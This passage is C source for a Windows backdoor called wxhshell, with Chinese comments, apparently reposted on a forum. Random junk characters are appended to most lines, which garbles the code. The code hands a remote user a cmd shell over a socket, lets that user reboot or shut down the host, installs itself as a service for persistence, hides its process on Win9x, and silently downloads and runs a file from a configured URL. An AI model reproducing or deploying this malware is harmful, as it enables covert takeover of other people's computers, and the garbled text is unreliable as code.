    switch(cmd[0]) { \ 1ys2BX  
  qt/"$6]%  
  // 帮助 K31Fp;K  
  case '?': { {RwwSqJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HgduH::\#  
    break; 9tk}_+  
  } ls 'QfJm  
  // 安装 |I85]'K9a  
  case 'i': { $N:m 9R  
    if(Install()) PN+,M50;1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [C P V5\2  
    else tul5:}x3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JFR,QUT  
    break; -wvJZ  
    } j%~UU0(J  
  // 卸载 h9g5W'.#  
  case 'r': { ctH`71Y  
    if(Uninstall()) }^)M)8zS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dRas9g  
    else 3Mr)oM< Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *kZJ  
    break; eEezd[p  
    } q^O{LGN  
  // 显示 wxhshell 所在路径 TX*s T  
  case 'p': { j"}alS`-  
    char svExeFile[MAX_PATH]; EDL<J1%  
    strcpy(svExeFile,"\n\r"); /of,4aaK7  
      strcat(svExeFile,ExeFile); +#'exgGU^[  
        send(wsh,svExeFile,strlen(svExeFile),0); @qg=lt|(F  
    break; ?Za1  b  
    } yBs  
  // 重启 Kax85)9u  
  case 'b': { Z78&IbR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c_HYB/'  
    if(Boot(REBOOT)) 8~}Ti*Urc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zx0{cNPK5  
    else { }g>&l.2X  
    closesocket(wsh); 0'RSl~QvqS  
    ExitThread(0); V&)-u(s_S/  
    } 6dq5f?w]  
    break; !mq+Oz~  
    } jNrGsIY$  
  // 关机 )jCAfdnCs  
  case 'd': { k\zNh<^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R &T(S  
    if(Boot(SHUTDOWN)) 611:eLyy&l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{i\t E  
    else { YadyRUE  
    closesocket(wsh); =;^2#UxXA&  
    ExitThread(0); L[##w?Xf.  
    } '.d el7s  
    break; (MwB% g  
    } H.!M_aJH  
  // 获取shell GP`_R  
  case 's': { ^EM##Ss_  
    CmdShell(wsh); /,GDG=ra  
    closesocket(wsh); 4}fG{Bk  
    ExitThread(0); 5BTQJa  
    break; M nH4p  
  } SP5/K3t-*  
  // 退出 a|lcOU  
  case 'x': { NfDg=[FN[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hPD2/M  
    CloseIt(wsh); /m.6NVu7  
    break; V\X.AGc  
    }  ~/ iE  
  // 离开 vezX/xD?  
  case 'q': { iHWl%]7sN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3%!d&j>v  
    closesocket(wsh); f{k2sU*uBE  
    WSACleanup(); rjx6Ad/\  
    exit(1); ?IGT!'  
    break; E3;[*ve  
        } _ z{:Q  
  } r Fdq \BSi  
  } MXSPD# gN  
7L? ~;;L$  
  // 提示信息 &37QUdp+p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8L6!CP_!  
} q %8,@xg  
  } GC~Tfrf=r  
f9X*bEl9;`  
  return; :TX!lbCq  
} _l{G Hz  
kd9hz-*  
// shell模块句柄 \h,S1KmIBD  
int CmdShell(SOCKET sock) aXhgzI5]  
{ $ R,7#7bG  
STARTUPINFO si; aOA;"jR1  
ZeroMemory(&si,sizeof(si)); ]fnc.^{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -[".km  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3a"4Fn  
PROCESS_INFORMATION ProcessInfo; E5/-?(N  
char cmdline[]="cmd"; ~OAST  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BXnSkT7  
  return 0; uIiE,.Uu}  
} R'uM7,7  
G= !Gy.  
// 自身启动模式 {%)bxk6  
int StartFromService(void) &C`t(e  
{ B|/=E470G  
typedef struct 9EIHcUXe  
{ Y?{L:4cRX  
  DWORD ExitStatus; :{E;*v_!v  
  DWORD PebBaseAddress; >MauuL,.j  
  DWORD AffinityMask; J/:9;{R  
  DWORD BasePriority; 2E9Cp  
  ULONG UniqueProcessId; w[S2 ] <  
  ULONG InheritedFromUniqueProcessId;  Cdin"  
}   PROCESS_BASIC_INFORMATION; _{_ybXG|  
}q^M  
PROCNTQSIP NtQueryInformationProcess; MN}@EQvW==  
K@)Hm\*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U7bbJ>U_|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WZOi,  
!_3R dS  
  HANDLE             hProcess; )hGRq'WA=  
  PROCESS_BASIC_INFORMATION pbi; K?+iu|$ &  
R4.$9_ ui  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); swss#?.se  
  if(NULL == hInst ) return 0; q"7rd?r52  
K;a]+9C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w] i&N1i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -aK_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9D#"Ey  
a/A$ MXZ_  
  if (!NtQueryInformationProcess) return 0; 'H+H4(  
b_+dNoB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (RW02%`jjy  
  if(!hProcess) return 0; `md)|PSU  
+Wrj%}+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .Zv@iL5  
xdGmiHN  
  CloseHandle(hProcess); 2+y<&[A8U  
q,w8ca 4~y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xfZ.  
if(hProcess==NULL) return 0; A Ch!D>C1  
?:73O`sX:  
HMODULE hMod; DC4O@"  
char procName[255]; yxP(|  
unsigned long cbNeeded; `"`/_al^  
MHar9)$}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }i0(^"SoXZ  
"& h;\hL  
  CloseHandle(hProcess); :)hS-*P  
E:'TZ4Z  
if(strstr(procName,"services")) return 1; // 以服务启动 QT)D|]bH  
~IrrX,mp:  
  return 0; // 注册表启动 &Z3g$R 9  
} [*^` rQ  
!ZlBM{C  
// 主模块 4JV/Ci5  
int StartWxhshell(LPSTR lpCmdLine) qYjR  
{ %zDh07VT\  
  SOCKET wsl; Y7{|iw(#  
BOOL val=TRUE; 3<">1] /,  
  int port=0; av|r^zc  
  struct sockaddr_in door; \[u7y. b  
0* 7N=  
  if(wscfg.ws_autoins) Install(); 2 |]pD  
%A_h!3f&  
port=atoi(lpCmdLine); ^I2+$  
#( G>J4E,  
if(port<=0) port=wscfg.ws_port; Nmu;+{19M  
7tbM~+<0  
  WSADATA data; KA^r,Iw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?VUW.-  
b/^i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LEu_RU?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 21k^MZ  
  door.sin_family = AF_INET; e0rh~@E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); abAX)R'  
  door.sin_port = htons(port); F<R+]M:fa  
)o4B^kq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m3Ma2jLWC  
closesocket(wsl); R1A|g =kF  
return 1; VSf<(udGr  
} VAGQR&T?  
/<"<N<X  
  if(listen(wsl,2) == INVALID_SOCKET) { j_w"HiNBA  
closesocket(wsl); xhq-$"B  
return 1; $eqwn&$n  
} c-s A?q#|  
  Wxhshell(wsl); @B e7"Fm  
  WSACleanup(); Nj~3FL  
?7?hDw_Nk  
return 0; yv),>4_6  
TDqH"q0  
} MTyBG rs(  
jPum2U_  
// 以NT服务方式启动 o=%pR|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c}$C=s5 h}  
{ qHQWiu% h  
DWORD   status = 0; 9?xD"Z   
  DWORD   specificError = 0xfffffff; APR"%(xD#  
6 +2M$3_U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P84uEDY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =uG}pgh0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SO!|wag$  
  serviceStatus.dwWin32ExitCode     = 0; qL;T^ljP  
  serviceStatus.dwServiceSpecificExitCode = 0; TAE@KSPvo  
  serviceStatus.dwCheckPoint       = 0; OQ=0>;>  
  serviceStatus.dwWaitHint       = 0; 4Y.o RB  
vGIe"$hNh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z yh #ygH  
  if (hServiceStatusHandle==0) return; sFrerv&0  
Qo%IZw$l  
status = GetLastError(); D~^P}_e.  
  if (status!=NO_ERROR) PKxI09B  
{ jeu|9{iTVu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a7~%( L@r  
    serviceStatus.dwCheckPoint       = 0; s+fjQo4  
    serviceStatus.dwWaitHint       = 0; dm(Xy'*iQ  
    serviceStatus.dwWin32ExitCode     = status; *hV$\CLT.  
    serviceStatus.dwServiceSpecificExitCode = specificError; p)k5Uh"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x 8_nLZ  
    return; 1*VArr6*6  
  } J]-z7<j']  
`|2p1Ei  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pRez${f.(s  
  serviceStatus.dwCheckPoint       = 0; Y<WA-dYoF  
  serviceStatus.dwWaitHint       = 0; 2m8|0E|@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eE0'3?q(  
} fvNj5Vq:  
FpYeuH%  
// 处理NT服务事件,比如:启动、停止 Hl*V i3bQU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V/dL-;W;  
{ 4))5l9kc.  
switch(fdwControl) UNO KK_  
{ @?/>$  
case SERVICE_CONTROL_STOP: cAQ_/>  
  serviceStatus.dwWin32ExitCode = 0; .[Nr2w:>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G)8H9EV  
  serviceStatus.dwCheckPoint   = 0; t}X+P`Ovq  
  serviceStatus.dwWaitHint     = 0; eelkK,4  
  { _7bQR7s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C9VtRq  
  } 8iwH^+h~  
  return; 9Z^\b)x  
case SERVICE_CONTROL_PAUSE: 2,^ U8/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }7+`[g  
  break; }J0HEpn4  
case SERVICE_CONTROL_CONTINUE: &0k`=?v$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?#obNQ"u]  
  break; JF6=0  
case SERVICE_CONTROL_INTERROGATE: G]k+0&X  
  break; vo!QJ  
}; dhCrcYn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #DkdFy %`  
} A2p]BW&  
 Uip-qWI  
// 标准应用程序主函数 mFx \[S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8}.V[,]6  
{ Lz:Q6  
"59"HVV  
// 获取操作系统版本 .qfU^AHA  
OsIsNt=GetOsVer(); y.,li<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4OTrMT$y  
Qk?J4 B  
  // 从命令行安装 &j!q9F  
  if(strpbrk(lpCmdLine,"iI")) Install(); |rL#HG  
R^Y>v5jAe  
  // 下载执行文件 +&*Ybbhb  
if(wscfg.ws_downexe) { <o"2z~gv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B{2WvPX~q  
  WinExec(wscfg.ws_filenam,SW_HIDE); tBtmqxx  
} E! mxa  
Rxl/)H[Lc"  
if(!OsIsNt) { #p7_\+&5s  
// 如果时win9x,隐藏进程并且设置为注册表启动 ::k cV'*  
HideProc(); c1}i|7/XSi  
StartWxhshell(lpCmdLine); 5XF&yYWq  
} [t+qYe8  
else n,*E s/\  
  if(StartFromService()) WJBwo%J  
  // 以服务方式启动 H|I.h{:  
  StartServiceCtrlDispatcher(DispatchTable); Lj Y@b  
else >goG\y  
  // 普通方式启动 5fuYva >Ik  
  StartWxhshell(lpCmdLine); ~n{lu'SIX2  
1pJ?YV  
return 0; Mp_SL^g|  
}
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只看该作者 1 发表于: 2006-10-10
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